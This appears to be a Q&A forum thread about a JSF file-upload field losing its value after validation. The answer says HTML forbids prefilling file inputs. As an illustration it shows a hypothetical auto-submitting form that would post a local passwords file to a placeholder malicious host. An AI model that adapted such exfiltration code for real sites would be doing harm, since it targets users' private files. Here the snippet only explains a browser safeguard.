Tsung Lin Tsai
Tsung Lin Tsai

Reputation: 661

JSF <t:inputFileUpload> value lost after validation failure

I found value of upload file path is lost after validation for following code. Is there anyway i can retain the value after validation failure? thank you.

<t:inputFileUpload id="uploadFile" value="#{backBean.uploadFile}" storage="file" required="false" />

Upvotes: 4

Views: 2192

Answers (1)

BalusC
BalusC

Reputation: 1108782

That's not possible. That's a security restriction by HTML. You cannot prefill/preserve the value of a HTML <input type="file"> field. Since JSF just generates HTML, JSF can't do much about it.

Imagine that this security restriction didn't exist, websites would be able to do the following:

<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data">
    <input type="file" name="file" value="c:/passwords.txt" />
</form>
<script>document.getElementById('tryToGetPasswords').submit();</script>

Do you see?

Upvotes: 4

Related Questions